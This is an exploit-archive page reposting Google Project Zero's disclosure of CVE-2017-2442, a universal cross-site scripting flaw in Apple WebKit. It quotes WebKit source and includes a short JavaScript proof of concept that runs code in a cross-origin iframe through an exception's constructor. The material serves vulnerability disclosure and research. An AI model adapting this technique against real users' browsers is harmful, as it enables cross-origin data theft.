exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple WebKit JSCallbackData UXSS

Apple WebKit JSCallbackData UXSS
Posted Apr 9, 2017
Authored by Google Security Research, lokihardt

Apple WebKit suffered from a cross site scripting vulnerability with JSCallbackData.

tags | exploit, xss
systems | apple
advisories | CVE-2017-2442
SHA-256 | 891228f9cf05cf9bbf912792361672ef5c63c3ddd90421ed753e79abe6fc4d46

Apple WebKit JSCallbackData UXSS

Change Mirror Download
 Apple Webkit: UXSS with JSCallbackData 

CVE-2017-2442


Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
JSCallbackDataStrong(JSC::JSObject* callback, void*)
: m_callback(callback->globalObject()->vm(), callback)
{
}

JSC::JSObject* callback() { return m_callback.get(); }
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
}

private:
JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
ASSERT(callback);

auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)
ASSERT(globalObject);

ExecState* exec = globalObject->globalExec();
JSValue function;
CallData callData;
CallType callType = CallType::None;

if (method != CallbackType::Object) {
function = callback;
callType = callback->methodTable()->getCallData(callback, callData);
}
if (callType == CallType::None) {
if (method == CallbackType::Function) {
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)
return JSValue();
}
...
}
...
}

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.

PoC:

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
f.onload = null;

try {
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
iterator.nextNode();
} catch (e) {
e.constructor.constructor("alert(location)")();
}
};

f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close